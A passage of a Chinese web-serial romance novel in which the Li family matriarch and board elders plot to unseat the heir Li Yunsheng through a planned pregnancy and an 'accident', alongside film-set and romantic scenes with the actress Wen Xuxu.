黎云笙掰断黎远航手指的举动,分明是一记直击她心脏的杀招。他不仅要让黎远航痛,更要让她疼,让她看清自己豢养的狼崽子早已利齿獠牙。这血腥的场面,是他递来的战书,亦是赤裸裸的威胁,若敢再轻易试探他的底线,下一次折断的,或许就是她的权杖。 第1159章 养大了一匹狼 她闭目靠在椅背上,太阳穴突突跳动,脑海中浮现出黎云笙幼年时的模样。 那时他怯生生地望着她,眼底却藏着与年龄不符的沉静。她记得自己曾抚摸他的头顶,可如今,那孩子已长成能撕碎亲兄弟的猛兽,甚至将獠牙对准了她的咽喉。 “果然,还是养大了一匹狼。”老太太的唇角勾起一抹自嘲的冷笑,声音轻得仿佛被夜风卷走。 车内寂静,唯有她急促的呼吸声在回荡。 她必须承认,黎云笙的狠辣与手腕,已让她这个掌权数十年的老太太感到胆寒。 若继续任由他壮大,黎家迟早会成为他的私产,而她恐怕会沦为他登上巅峰的垫脚石。 她攥紧手中的佛珠,珠串在指间簌簌作响,仿佛在替她计算着下一步的杀招。 换掉继承人……名正言顺地换掉他。 这个念头在脑海中反复盘旋,却如针刺般让她太阳穴剧痛。 黎云笙是黎家的嫡子,明媒正娶的夫人所生,遗嘱上白纸黑字指定的继承人。 除非……除非他有了子嗣,又恰巧遭遇不测。 老太太的眼底骤然迸出寒光,仿佛窥见了一丝曙光。 若黎云笙有了孩子,而她“恰逢其时”地以保护幼嗣、守护家族为由接管权力,董事会那些老古董纵使不满,也挑不出她的错处。 “联姻,必须尽快安排联姻!”她猛地坐直身体,佛珠在掌心勒出红痕。 黎老太太想到圈内的其他名媛,微微闭上眼眸,如果黎云笙真的跟其他人缔结婚姻,到时候就算黎云笙真的出了事,那女方家族的人怕是也会帮扶他的幼子,往后说不定还是会发生祸端。 黎云笙母亲去世的早,现在不也一样变成了牙尖嘴利的狼崽子。 这样想来,黎云笙倒还不如跟出身平庸最好是没有任何助力的女性发生关系,这样未来也好拿捏,听话了就给一笔钱让她离得远远的,不许再见她的孩子,不听话,那也可以轻而易举的用尽手段让她意外身亡。 这样看来,那个在她眼里攀附高枝的温栩栩反倒是最合适的人选了。 无父无母的孤儿,相貌漂亮,现在正被黎云笙看重……温栩栩与黎云笙之间似乎有些说不清道不明的关系…… 只要温栩栩能尽快生出黎云笙的孩子,至于未来发生“不测”的部分,她枯瘦的手指在座椅扶手上轻轻敲击:车祸、疾病、意外,方法多如牛毛,只要计划周密,便能将风险降到最低。 她深吸一口气,试图压下胸腔里翻涌的不安。这个计划看似完美,却暗藏无数凶险。 黎云笙绝非愚钝之人,他若察觉背后的阴谋,定会反咬一口。但若不做,黎家迟早会沦为他的囊中之物。 老太太的眉峰紧蹙,仿佛要将一切完全算计再其中。 她决定赌一把,赌黎云笙对温栩栩的情愫,赌自己在黎家数十年的经营足以操控那场“意外”。 “孩子出生后,需得尽快掌握在手中。”她继续盘算着后续步骤,眼底泛起阴鸷的光。 黎云笙的孩子,将成为她最锋利的刀刃。等孩子出生,她可以对外宣称黎云笙因身体原因需要静养,将公司事务悉数交予她打理,待孩子长大,再慢慢灌输“父亲病弱,祖母护家”的观念,届时黎家的权柄,自然会稳稳落回她掌心。 但风险同样如影随形。黎云笙若察觉她的计划,定会狗急跳墙,若“意外”设计失败,她可能面临董事会的弹劾甚至法律的制裁。 老太太的喉间泛起一丝苦涩,她意识到自己已踏上一条不归路。 要么被黎云笙吞噬,要么吞噬黎云笙,再无第三条路可选。 “值得。”她最终咬牙吐出这两个字,指甲几乎掐进座椅的皮革。 黎家只能在她手中,不能被黎云笙抢走。 她抚摸着佛珠上凸起的纹路,仿佛能从中汲取力量。 这场家族内部的厮杀,她必须赢,也唯有她能赢。 车窗外,霓虹灯在玻璃上拖曳出扭曲的光影,映照着她沟壑纵横的面容。此刻的黎老太太,不再是那个慈眉善目的家族长者,而是一头蛰伏在暗处的老枭,正用浑浊却锐利的目光,审视着猎物每一寸肌理的破绽。她的算计如蛛网般层层铺开,将整个黎家的命运都裹挟其中,而她自己,亦成了这盘棋局中最危险的棋手。 抵达宅邸时,她已恢复往日的镇定。佣人们垂首行礼,无人敢窥探她脸上的神色。 她缓步走向书房,枯瘦的手指抚过檀木书架,指尖掠过一本泛黄的族谱。 黎云笙的名字赫然在列,墨迹浓重如血。她抽出族谱,指尖在“继承人”三字上重重划过,仿佛要将那字迹剜出纸页。 随后,她取出手机,拨通了助理的号码,声音冷如淬毒的冰锥:“去查温栩栩最近的行程,另外,联系几位老董事,我要召开紧急家族会议。” 夜色彻底吞噬了庭院,书房内的灯光却依旧亮着,将老太太佝偻的身影投在墙壁上,如一张狰狞的皮影。 黎氏老宅的接待室弥漫着沉香的气息,檀木雕花的门窗紧闭,隔绝了外界的光线,室内只余几盏青铜落地灯投下昏黄的光晕。 雕花梨木长桌两侧,十余张太师椅整齐排列,椅背上镶嵌的翡翠在灯光下泛着幽绿的光,仿佛蛰伏的毒蛇。 墙上挂着黎家历代先祖的画像,肃穆的面容俯瞰着室内,有一种令人内心慌乱的阴森之感。 老管家佝偻着背,将青花瓷茶盏逐一放置在每位董事面前。他动作极轻,却仍能听见茶水倾入杯中的细微声响,在寂静的室内格外清晰。茶烟袅袅升起,氤氲了众人凝重的面容。 这些董事皆是黎氏元老,或秃顶白发,或面容沟壑纵横,衣着皆是一丝不苟的定制西装,袖口却露出不同的细节,有人佩戴翡翠袖扣,有人则缀着低调的铂金链坠。 他们落座时,有人脊背挺直如松,有人却佝偻着腰,手指无意识地摩挲着拐杖的雕纹,各自姿态暗藏心机。 能在黎氏混到今天的,都是人精,没有一个是蠢笨的。 第1160章 紧要事商议 黎老太太特意挑着这个时间召开秘密会议,一看就是出了大事,不过也有人心里有些不舒爽,毕竟黎老太太是个女人,在某些人眼里其实不配跟他们平起平坐的。 但黎老太太现在算是黎氏明面上的董事长,还是要给些面子的,所以这群人也只是互相看了几眼,似乎是在彼此试探。 黎老太太端坐于长桌首座,身着一袭墨色旗袍,袖口绣着暗金云纹,银发盘成一丝不苟的发髻,发间一枚翡翠簪子熠熠生辉。 她手中捻着佛珠,珠串碰撞的声响在寂静中格外清晰,仿佛敲打着众人紧绷的神经。 她目光扫过众人,嘴角噙着若有似无的笑,却未立即开口,只任由这令人窒息的沉默在室内蔓延。 终于,一位年逾七旬的董事按捺不住,此人姓陈,是黎氏资历最老的元老之一,秃顶泛着油光,鼻梁上架着一副金丝眼镜。 陈董事端起茶盏抿了一口,却将茶水重重放回桌面,茶盏与木桌相撞发出“咚”的一声闷响:“老太太,您突然召集我们开紧急家族会议,总不会只是让我们喝这口陈年普洱吧?”他语气带着几分不耐,镜片后的双眼却如鹰隼般锐利,扫过黎老太太时,眼底闪过一丝试探。 陈董事脾气比较暴躁,最是沉不住气的类型,所以此刻最先开口了。 黎老太太捻佛珠的动作未停,声音却如浸了冰水般冷冽:“陈董稍安勿躁,今日请各位来,确有一件紧要事需商议。” 她顿了一顿,目光缓缓扫过众人,声音愈发低沉,“是关于云笙这孩子……昨日,他让保镖弄断了远航的十根手指。” 此言一出,室内骤然死寂。 陈董手中的茶盏险些滑落,茶水溅湿了西装袖口也浑然不觉。 另一位董事,王董,身材矮胖,圆脸上堆满横肉,此刻却涨得通红,肥厚的巴掌猛地拍在桌面上,震得茶盏里的水波晃动:“这……这简直是疯子的行径!黎云笙疯了吗!竟敢对亲兄弟下此毒手?他眼里还有没有家族规矩?” “何止是规矩!”李董,形瘦削如竹,常年穿着暗色中山装,此刻他摘下眼镜擦拭,镜片在灯光下折射出冷光,“当年老爷子临终前指定他继承,可他才成年多久?羽翼未丰便露出獠牙,这分明是要将黎氏变成他的一言堂!老太太,您可要三思啊,若任由他这样下去,我们这些老骨头,怕是都要被他啃得骨头都不剩!” 他们哪里是担心黎远航? 分明是担心自己未来变成黎远航! 黎远航是黎云笙同父异母的亲哥哥,黎云笙都能下狠手,那如果未来是他们得罪了黎云笙吗?那是不是要断手断脚要他们的命了? 这谁敢赌? 谁能说自己手上干干净净清清白白,真的没有拿公司一点东西,没有贪点油水? 没人敢说,所以现在所有人都慌了,全都在恐惧未来黎云笙继承黎氏。 以往这群人看不起黎老太太,觉得黎老太太是女流之辈,不配掌管黎氏,可现在看来,黎老太太掌管黎氏也比黎云笙掌管黎氏的好! 黎老太太可不会断人手脚真的狠到这地步。 众人纷纷附和,交头接耳的声音如潮水般涌起。 有人低声咒骂,有人眉头紧锁,有人则用颤抖的手指敲击桌面,仿佛在为黎氏的未来敲响丧钟。 一位年迈的女董事,赵董,满头银发梳得一丝不苟,此刻却用帕子捂着嘴,声音带着哭腔:“这黎云笙……太狠了!远航那孩子何其无辜?十根手指啊……这往后还怎么做人?他这是要断送黎家的血脉啊!” 陈董眯起眼睛,镜片后的寒光愈发凛冽:“老太太,您当年悉心栽培黎云笙,黎老爷子也指定黎云笙继承黎氏,可如今他这般心性,如何能担得起黎氏的百年基业?依我看,这继承人的位置……该重新考量了!”他此言一出,众人皆停下议论,目光齐刷刷投向黎老太太,仿佛在等待黎老太太的决定。 其实这群人心里也清楚,如果黎老太太真的满意黎云笙,也不会在这个时候召开所谓的董事会了。 说白了,黎老太太也是想要换掉黎云笙的。 黎老太太捻佛珠的动作忽然停下,她缓缓起身,旗袍的下摆扫过椅沿,发出细微的窸窣声。 她走到长桌尽头,指尖抚过一幅先祖画像的镀金边框,声音如毒蛇吐信:“我跟你们想的一样” 她转身,目光如炬扫过众人,眼底的寒意让在场者皆是一凛,“黎云笙的野心,早已不是一日两日。如果未来他真的完全进入离世,一定会雷厉风行地清洗公司元老,推行那些所谓的‘革新策略’,看似是为黎氏好,实则是在排除异己,培植自己的势力。若再放任下去,黎氏怕是真的完全变成黎云笙的天下了!” 王董肥厚的下巴抖了抖,声音带着压抑的愤怒:“必须将他从继承人位置上拉下来!否则我们这些老家伙,迟早被他当成绊脚石踢开!他连亲兄弟都下得去手,何况是我们?” 李董却冷笑一声,瘦削的脸上皱纹如刀刻般深刻:“拉下来容易,可如何名正言顺?他毕竟是嫡子,又有老爷子的遗嘱在……除非……”他忽然住口,目光投向黎老太太,眼底闪过一丝意味深长的光芒。 黎老太太的嘴角勾起一抹几不可见的弧度,她重新落座,指尖轻叩桌面,发出沉稳的节奏:“你们放心,我自有安排。” 她端起茶盏,轻啜一口,茶烟缭绕中,她的声音愈发低沉,“他以前对女人没什么兴趣,但现在对一个小明星有意思,这次也是为了那个小明星对远航出手,我已经打算好收那个小明星当棋子,最好是让她怀上黎云笙的孩子,等到那时有了他的孩子,他就算真的出了意外,我们就能够以保护幼嗣、守护家族为由,名正言顺地接管公司大权……” 陈董眼中骤然亮起光芒,他搓了搓手,声音带着兴奋:“老太太聪明,只要有了黎云笙的孩子,黎云笙出了事,孩子还小,掌管黎氏的人肯定要由您这位大家长了,谁也挑不出错处来,就算是黎深母家的人知道了,也不能说什么,至于‘意外’嘛……”他肥厚的喉结滚动了一下,未尽之言尽在不言中。 众人纷纷点头,交头接耳的声音再度响起,只是这次,其中夹杂着几分阴谋得逞的窃笑。 第1161章 谁好看就喜欢谁 赵董用帕子擦了擦眼角,声音却依旧带着颤意:“可这黎云笙心思深沉,若他察觉我们的计划……黎远航可是他的亲兄弟他都能这么狠,那我们这群人对黎云笙来说更算不得什么,他如果真清楚了这些,怕是不会轻易放过我们。” 黎老太太的眼中闪过一丝狠辣,她捏紧佛珠,珠串碰撞发出清脆的声响:“他再狡猾,终究年轻。我们经营黎氏数十年,盘根错节的势力岂是他能轻易撼动?此次家族会议,我们便以‘德行不端,不适继承’为由,联名提议暂缓他的继承人资格,待他‘改过自新’后再议。” 陈董猛地一拍桌子,茶盏里的茶水溅出:“我附议!黎云笙心性残暴,如果不加以遏制,黎氏必被他拖入深渊!” “对!黎云笙这么狠,谁能保证黎云笙以后不出点什么错?真的到了那个时候谁还能拦得住黎云笙?总不能因为他一个人让黎氏出事,没人能承担得起这责任!” “必须要换继承人,继承人一定不能是黎云笙!” “附议!” “我也同意!” …… 附和声此起彼伏,如汹涌的潮水将黎云笙的名字彻底淹没。 老宅的沉香气息愈发浓重,压抑得人喘不过气,所有人心里都清楚,一旦黎云笙上位,他们就一定会被黎云笙剔除,所以他们慌乱他们想要耍尽手段,不想黎云笙继承黎氏。 黎老太太看着这群人贪婪却又惊慌的面容,心里清楚,自己现在不用做什么,这群蠢货就会偷偷对黎云笙动手。 当然,动手之前,是一定要让温栩栩先怀上黎云笙的孩子的。 只要温栩栩有了黎云笙的后代,那以后的事就全部都不需要担心了。 黎老太太心里满腹算计,已经想着是时候再把温栩栩“请”到黎家老宅一趟,让她清楚该如何做选择。 一个无父无母从孤儿院摸打滚爬好不容易闯出来又进了娱乐圈,满心满眼都是钱的女人会很难收买吗,只要给的钱够多,她相信温栩栩什么都肯做。 借她的肚皮生个孩子,她会愿意的。 …… 《灵媒》剧组所在的影视城被盛夏的烈日炙烤着,空气中浮动着燥热的气息。 剧组外,墨澜的粉丝早已自发聚集,举着印有他名字的应援灯牌和手幅,在树荫下安静等候。 她们大多戴着口罩,却依然难掩眼中期待的光,手机镜头纷纷对准剧组入口,偶尔有站姐举着长焦镜头离远拍摄,快门声清脆地响起。 秦导站在监视器后,瞥了一眼远处秩序井然的粉丝群,嘴角微微上扬,这些姑娘的安静探班和剧照拍摄,对剧宣而言反而是好事,他自然乐见其成。 昨晚上墨澜直播维护温栩栩的事,确实如星火燎原般登上了热搜榜首。直播中,他言辞温和却坚定地反驳了针对温栩栩的恶意猜测,称“合作演员的专业与善良,值得被尊重”。这番表态非但没有让粉丝脱粉,反而激起了更多人的共鸣。 她们举着“墨澜温柔护花”的话题在超话里刷屏,甚至有人将直播片段剪辑成短视频,配文“他永远真诚地守护着光”。 温栩栩的身影出现在剧组入口时,阳光恰好穿透云层,为她的轮廓镀上一层朦胧的金边。月白色旗袍贴身裁剪,勾勒出她纤细的腰肢,领口绣着银丝勾勒的云纹,随着她步伐摇曳,仿佛流动的月光。 发髻盘得一丝不苟,珍珠发簪点缀其间,妆容淡雅却精致,眉如远山黛,唇似点绛红。她还未完全进入角色,但那眉眼间流转的光彩已足够令人屏息。 这便是墨澜粉丝第一次见到她本人的模样。 她已经上好了妆容,衣服也已经换好了,整个人虽然还没有进入角色,但是仍然美的不可方物,这还是墨澜的粉丝第一次真正意义上的见到温栩栩本人。 只觉得温栩栩从自己身边经过的时候好像世界都开始变得亮了起来。 就是……人,怎么能漂亮到这种地步呢? 人群中有细微的抽气声响起。 一位举着相机的大粉手指微颤,镜头本能地追随着她的身影。 温栩栩步履轻盈,高跟鞋敲击地面的声音清脆如珠落玉盘,发丝被微风拂起,露出白皙修长的脖颈。 她似是察觉到了远处注视的目光,忽而转头,眉眼弯弯地望向大粉的方向。 那双眼睛如墨玉般深邃,此刻却盛满了璀璨的星光,像是阳光穿透深海折射出的斑斓光晕,又似万千星辰坠入眼眸。 大粉呼吸一滞,镜头在手中晃了晃,险些失焦。 “好、好漂亮……”身旁的小粉丝喃喃自语,声音轻得仿佛怕惊扰了这幕画面。 黎云笙跟在温栩栩身后,步伐刻意放缓了些许。他眉峰微蹙,下颌绷紧,周身散发着旁人勿近的低气压。 昨夜他想让温栩栩休养整日,她却坚持只睡了半日便赶来拍戏。此刻看她神采奕奕的模样,他心中也有些无奈。 他目光扫过她纤细的背影,喉结无声滚动,最终只是将掌心攥紧,沉默地继续跟随。 那位大粉的心跳声在耳膜上轰鸣。她慌忙按下快门,镜头却因颤抖而虚焦。 温栩栩的笑容太过耀眼,那弯起的眼眸仿佛带着某种魔力,让人瞬间陷入眩晕。她甚至荒唐地想,若温栩栩此刻伸出手,自己或许会不顾一切地握住,这念头惊得她指尖发麻。 镜头再次对准温栩栩时,她已与墨澜站在拍摄场地中央,两人低声交谈着什么,温栩栩侧脸含笑,神情专注,墨澜的目光则带着几分宠溺的纵容。 砰……砰……砰…… 大粉能清晰听见自己胸腔里杂乱的心跳声。 她从未如此失态过,连拍摄墨澜时都心不在焉,镜头总是不自觉地偏移向温栩栩的方向。 理智告诉她该专注自家,可那抹月白身影却如磁石般吸引着她。温栩栩的美超越了性别界限,是纯粹到极致的视觉盛宴,让人甘愿沉溺其中。 她甚至生出几分荒谬的期待,若温栩栩喜欢女孩子,自己是否也能成为被她目光停留的那一个? 谁还不是个颜性恋了,谁好看就喜欢谁。 第1162章 再亲密一些 粉丝们安静地拍摄着现场花絮,却总有人不自觉地将镜头转向温栩栩。 有人小声议论:“她比镜头里还美十倍……”“墨澜和她站在一起,好像民国画报活过来了。” 她们举起手机,试图捕捉温栩栩每一个细微的表情变化。 导演喊“Action”后,温栩栩瞬间敛去笑意,眉眼间泛起肃穆清冷,与墨澜对戏时,台词如珠玉落盘,情绪层层递进。 粉丝们看得入神,快门声都少了许多,唯恐错过任何一个精彩的瞬间。 身旁另一位站姐凑近,压低声音嘀咕,语气里带着几分忐忑:“你说……要是真爬墙了,澜哥的粉丝会不会追杀过来,把腿打断啊?” 她缩了缩脖子,目光却仍黏在温栩栩身上,满脸纠结。 大粉轻笑一声,收回镜头,抬手整理了一下被风吹乱的碎发,语气透着几分笃定:“不至于,澜哥最讨厌的是粉丝爬男星的墙,尤其是那些爬成唯粉的。但温栩栩是女演员,又和澜哥关系好,只要别真成了唯粉,他应该不会太在意的。”她瞥了一眼远处墨澜与温栩栩交谈的身影,眼底掠过一丝玩味,“再说了,澜哥自己都对温栩栩照顾有加,我们喜欢她,也算……‘爱屋及乌’?” 站姐闻言松了口气,嘴角泛起笑意,却又忍不住小声补了一句:“不过澜哥最厌恶的人,果然还是成唯本人吧?”两人相视而笑,笑声里带着一丝娱乐圈特有的自嘲。 粉丝们碎碎念着,目光却始终被片场中央吸引。 温栩栩正与墨澜低声讨论着什么,神情专注,墨澜侧头倾听,眉眼间是惯有的温润笑意,仿佛连空气都因他们的互动而柔和了几分。 此刻,落日的余晖如金纱般洒落在黎云笙身上。 他倚在廊柱旁,指节分明的手随意搭在栏杆上,发丝被风拂得微微凌乱。 侧脸轮廓在明暗交织的光线中格外分明,下颌绷紧,倦容中透着一丝疲惫,眼底的冷意如深潭般幽邃。 然而,当他的目光掠过温栩栩时,那冷意竟悄然融化,眉梢眼角染上几分柔和,仿佛寒冰遇见了暖阳。 只是这抹温柔转瞬即逝,他很快又恢复了那副生人勿近的模样,周身寒气逼人,连路过的工作人员都不自觉地放轻脚步,绕着他走。 副导演远远瞥见他的身影,额上冷汗涔涔。 他深知黎云笙不仅是投资方代表,更是黎氏的继承人,身份矜贵,稍有怠慢便是大祸。慌忙招呼人搬来一张米白色真皮沙发,沙发柔软如云,扶手处还细心铺了天鹅绒垫子。又命人端上精致的下午茶,青花瓷碟里盛着金丝枣糕、桂花绿豆糕,茶壶里泡着明前龙井,袅袅茶香与夕阳的余晖交织,在空气里氤氲出几分奢靡的滋味。 副导演亲自端着托盘上前,弓着腰,脸上堆着谄媚的笑:“黎少,您先歇会儿?这儿太阳晒,我让人给您撑把伞?”他话音未落,黎云笙却已瞥了他一眼,明明只是轻飘飘一眼,没带多少冷意,副导演却被吓得僵在原地,托盘险些打翻。 黎云笙未发一言,只是抬手摆了摆,示意他退下。 副导演如蒙大赦,忙不迭地退到一旁,仍不敢离去,只远远盯着,生怕这位祖宗再有什么不满。 黎云笙重新将目光投向温栩栩,眼底的冷意彻底消散,只剩下化不开的专注。 他望着她与墨澜对戏时眉飞色舞的模样,喉结无声滚动。 她此刻已全然沉浸在角色中,眉眼间肃穆清冷,台词如珠玉落盘,与墨澜的对手戏火花四溅。他攥紧掌心,指节发白,心中醋意翻涌。 片场另一侧,大粉仍在偷偷拍摄温栩栩。 她调整镜头角度,试图捕捉她每一个细微的表情变化。镜头里的温栩栩时而蹙眉沉思,时而展颜轻笑,一颦一笑皆成画。大粉心跳如鼓,指尖微微发烫。她从未见过如此耀眼的人,美得超越了性别界限,仿佛天地间所有的光都汇聚在她身上。 她甚至荒唐地想,若温栩栩喜欢女孩子,自己或许也会甘愿沉溺于这惊鸿一瞥。这念头惊得她指尖发麻,慌忙收回镜头,却仍忍不住偷偷望向温栩栩的方向。 夕阳渐渐西沉,片场的光线愈发昏黄。 黎云笙的剪影在暮色中愈发孤傲,他仍倚在廊柱旁,一动不动,仿佛一尊沉默的雕像。 温栩栩结束一场戏后,提着裙摆快步走来,发间珍珠簪子轻晃,发出细碎的声响。 她仰头看他,眉梢染笑,声音温软:“怎么一个人在这儿?闷不闷?”黎云笙凝视着她,喉间发出低沉的轻笑,抬手抚上她鬓边的碎发,指尖缠绕着一缕发丝,动作温柔得仿佛怕碰碎她,“不闷,看你看得入神,忘了时间。” 他声音沙哑,带着几分疲惫,却让温栩栩心头一软。 她伸手环住他的腰,将脸轻轻贴在他胸膛,听着他有力的心跳,轻声呢喃:“我就只有几场戏了,马上就要拍完了。”黎云笙未言语,只是将她揽得更紧,下颌抵在她发顶,嗅着她发间的茉莉香。 远处,大粉镜头里的这一幕,如剪影般定格在暮色中,美得令人窒息。 “那个人是谁啊。”一旁有粉丝在问黎云笙。 大粉也不知道黎云笙是谁,但猜着可能是温栩栩的恋人或者圈内好友,便随意敷衍了两句。 毕竟不能真的说那是温栩栩的恋人。 温栩栩才开始拍戏,真的传出这种绯闻可就不好了。 温栩栩拍完戏已经是晚间了,直到下戏,黎云笙都没有离开剧组,一直等到她下戏。许是因为一直有黎云笙陪着,再加上在剧组,所以渐渐忘记了晚上险些被黎远航侵犯的事情。 回到酒店,温栩栩就觉得有些累,但即便是累到这种程度都没有忘记,自己和黎云笙暂时的那点亲密关系。 就好像是限定的一日恋人。 所以她想在今天跟黎云笙亲密一些,再亲密一些。 第1163章 贪享一日温存 暮色褪去,霓虹初上,酒店走廊的暖黄灯光在温栩栩和黎云笙并肩而行的身影上投下交错的光斑。 温栩栩的月白旗袍已被换成素色睡裙,发髻散落,乌发如瀑垂落肩头,眉眼间残留着拍戏后的倦意,却难掩眼底灼灼的光。 黎云笙始终沉默地跟在她身后,黑色衬衫袖口微卷,指尖还残留着片场握过的她冰凉的手的温度。 两人一前一后踏入房间,门扉闭合的刹那,温栩栩忽然转身,如藤蔓般缠上他的脖颈,柔软的身躯紧贴着他,呼吸间茉莉香与他身上淡淡的古龙水香气交织。 “黎云笙……”她声音低哑,带着疲惫后的慵懒与渴求,指尖沿着他衬衫领口游走,似在点燃某种隐秘的火焰。 黎云笙身形微顿,垂眸凝视她,眼底掠过一丝复杂,她险些被黎远航侵犯的阴影仍在他心头盘踞,此刻她却如不知疲倦的蝴蝶,执意要扑向火光。 他喉结无声滚动,抬手扣住她纤细的腰肢,掌心触感温热,仿佛能灼穿衬衫布料,“栩栩,你累了。” 她仰头轻笑,睫毛颤动如蝶翼,指尖已探入他衬衫内里,肌肤相触的瞬间,两人皆是一颤。 “累,但不想睡。”她语带撒娇,主动踮起脚尖,唇瓣如花瓣般轻轻擦过他下颌,温热的呼吸拂过他耳畔,“想跟你……亲密一些,再亲密一些。”尾音带着颤,似在引诱,又似在乞求。 虽然知道温栩栩说的亲密也只是拥抱和亲吻,不包含其他的,但黎云笙也确实会很容易被温栩栩勾过去。 黎云笙眸色倏然加深,瞳孔中倒映着她迷离的容颜。 他深知她此刻靠近的缘由,白日里他寸步不离的陪伴,让她暂时忘却了那场噩梦,可那阴影如何能真正消散? 她此刻的主动,是出于对危险的应激,还是纯粹的情动? 他心头酸涩与怜惜交织,却终是喟叹一声,揽她入怀的力道加重,将她彻底禁锢在胸膛与墙壁之间。 他低头吻住她,唇齿相触的刹那,温柔与掠夺并存,带着安抚的意味,却又不失侵略性。 温栩栩手臂更紧地环住他的脖颈,回应着他的吻,舌尖试探着探入,与他纠缠。 房间内的灯光不知何时被调暗,暧昧的暖光下,两人的身影在墙上交叠成一道缠绵的剪影。 黎云笙的吻从唇瓣蔓延至耳垂,齿间轻咬她耳廓,声音沙哑如砂纸:“栩栩,你知道自己在做什么吗?” 温栩栩喘息着,指尖已解开了他衬衫最后一颗纽扣,掌心抚过他紧实的胸膛,触感如绸缎般温热,“知道……想跟你,做‘限定恋人’该做的事。”她语带蛊惑,眼尾泛起潮红,仿佛燃烧的晚霞。 他轻笑一声,笑声里藏着苦涩与纵容。 是啊,他们之间也就只是“限定恋人”了。 温栩栩是真的清醒,清醒的沦陷在和他的亲密之中,她不敢真的跟黎云笙确定关系,她担心真的会被黎家人伤害,所以像是胆小鬼一样只敢说彼此之间是“限定恋人”。 现在提到这些,不也是告诉黎云笙,他们之间的亲密只存在于一天吗? 身份的枷锁、家族的阴谋、暗处的窥伺,如同无形的丝线缠绕着他们,不知何时便会勒紧。 可此刻,他甘愿沉溺于她编织的梦境。他扣住她后脑的手微微用力,吻愈发深入,唇舌交缠间,温栩栩的睡裙肩带悄然滑落,露出雪白的肩头,在暖光下泛着珍珠般的光泽。 黎云笙的吻顺势沿着她颈侧滑落,齿间流连于她锁骨凹陷处,留下一串湿润的印记。 就算做不到最后,他也想在她身上留下多一点的痕迹,属于自己的痕迹。 暧昧的气息在房间内攀升,温栩栩的指尖在他脊背游走,指甲偶尔划过敏感处,激起他一阵战栗。 …… 凌晨时分,天色尚未破晓,黎云笙便已悄然起身。 床畔的温栩栩仍在熟睡,发丝凌乱地散落在枕间,眉梢染着倦意,唇瓣微张,呼吸轻缓如蝶翼颤动。 他凝视着她,目光如织,久久未曾移开。指尖悬在她脸颊上方,最终却只是虚虚地拂过,生怕惊醒了她。 昨夜她的主动、她的渴求、她的颤抖,皆在他心头烙下印记。 他清楚这场“限定之恋”不过是她逃避恐惧的浮木,亦是两人在命运夹缝中偷尝的禁果。 可他却无法拒绝她,无法推开她,只能沉溺于这片刻的温存,哪怕代价是日后更深的痛楚。 他弯腰,在她额头落下轻轻一吻,如蜻蜓点水,带着无尽的眷恋与无奈。 吻触的刹那,温栩栩睫毛轻颤,似有所觉,却未曾睁眼。 他喉间发出低沉的喟叹,如叹息般消散于空气。他清楚,自己必须离开。 家族的压力、黎老太太的威胁、暗处的阴谋,皆如绳索般勒紧他的脖颈,他无法让她卷入更深的危险。 这“限定”的契约,是他能给予她的,最安全的缠绵温柔。 晨光如薄纱般透过窗帘缝隙,悄然洒落在酒店房间的床榻上。 温栩栩缓缓睁开双眼,睫羽颤动间,映入眼帘的是一片空荡。 身旁的床铺早已冰凉,被褥整齐地铺展着,仿佛昨夜那场炽热的纠缠不过是虚幻的梦境。 她愣怔许久,指尖无意识地抚过身侧,掌心触到的只有冷硬的床单,再无男人残留的体温。 昨夜他胸膛的灼热、呼吸的起伏、唇齿间的缠绵,此刻皆化作虚无,唯有空气中残留的淡淡雪松香,证明他曾真实存在过。 她撑起身体,睡裙滑落至肩头,锁骨处昨夜留下的淡红印记在晨光下若隐若现,如未褪尽的烙印。 记忆如潮水般涌来,昨日片场下戏后,她主动扑入他怀中,如藤蔓般缠绕,如飞蛾般扑火。他的回吻带着安抚,却亦藏着深不可测的欲念。 从唇瓣到颈侧,从指尖到肌肤,每一寸触碰都如星火燎原,两人失控的纠缠在一起。 那时她笃信,这“限定恋人”的契约,至少能让她贪享一日温存。 第1164章 妄图攀高枝,选错了人 现实如冷冽的晨风,将她从虚幻中唤醒,黎云笙的离开,无声而决绝,连告别都吝啬给予。 她攥紧被角,心跳如擂鼓,慌乱如潮水般漫过心间。 昨日亲密时的每一句话、每一个眼神,此刻都化作锋利的刀刃,割裂着她试图冷静的伪装。 她明明知晓,这“限定”二字如枷锁,困住的不只是时间,更是两颗注定无法长久靠近的心。 家族的阴谋、暗处的窥伺、身份的鸿沟……这些冰冷的现实如影随形,昨日他寸步不离的陪伴,不过是暴风雨前的短暂安宁。 可为何,当他消失于晨光中时,她的胸腔会如此空旷?仿佛被抽走了某种重要的东西,连呼吸都变得滞重。 她赤足踩在地板上,走向窗边,拉开窗帘。 刺目的阳光涌入房间,她眯起眼,望着远处车水马龙的街道。 黎云笙的身影早已消失于城市喧嚣中,可她仍忍不住想象,他此刻是坐在疾驰的车内,冷峻地处理着家族事务?还是在某个角落,回望这座酒店,眸中掠过一丝不舍? 她深吸一口气,试图将这念头压下,却发觉掌心已沁出冷汗。 她在意他,远超过“限定恋人”应有的程度。这份在意,如藤蔓般在她心底疯长,缠绕着她的理智,让她几近窒息。 温栩栩在晨光中伫立良久,终于转身回到床边。 她拾起昨夜散落的衣物,指尖摩挲着睡裙上残留的褶皱,仿佛能触摸到昨夜他掌心的温度。 她深吸一口气,将睡裙褪下,换上素色衬衫与长裤,动作利落,似在强行斩断某种羁绊。 镜中的她,眉眼间仍残留着情动后的潮红,却强行扬起嘴角,露出一抹自嘲的笑,也是想让自己清醒一些。 限定恋人也就只是限定恋人,能有多久呢? 一天的时间罢了。 果然,跟对方太亲密,还是会……承受不住的缓不过来,甚至有些想贪心的跟黎云笙延长几天限定恋人的关系了。 可……不能再继续这样下去了。 再继续下去,只会沦陷的更深,她要控制住自己的心。 温栩栩的手指微微颤抖着扣紧衬衫领口,仿佛要将昨夜残留的余温与此刻胸腔里的空荡一同攥紧。晨光刺目,她却觉得视线模糊,恍恍惚惚地换好戏服踏入片场时,脚步虚浮如踩在云端。 墨澜已妆容精致地端坐于镜前,瞥见她魂不守舍的模样,眉梢轻挑,终究未曾多言。 休息的时候温栩栩机械地念着台词,眼神却时常飘向远方,脑中反复回响着黎云笙离去时那冰凉床铺的触感。 她试图将注意力集中于角色,可心却如被无形丝线牵引,不断回溯昨夜那缠绵的吻、他掌心灼热的温度。 虽然心里想着黎云笙,但温栩栩在片场还是没有稳定发挥。 直到拍完今天的戏份,温栩栩拖着疲惫的身躯走向休息区,忽见一道熟悉的身影立于角落。 黎家的老管家面带笑意,候在暗影之中,身姿笔挺如松。 她心头一紧,脚步下意识顿住。昨日这管家尚带着审视的冷意,此刻态度却骤然温和:“温小姐,老太太想见您。” “请吧。” 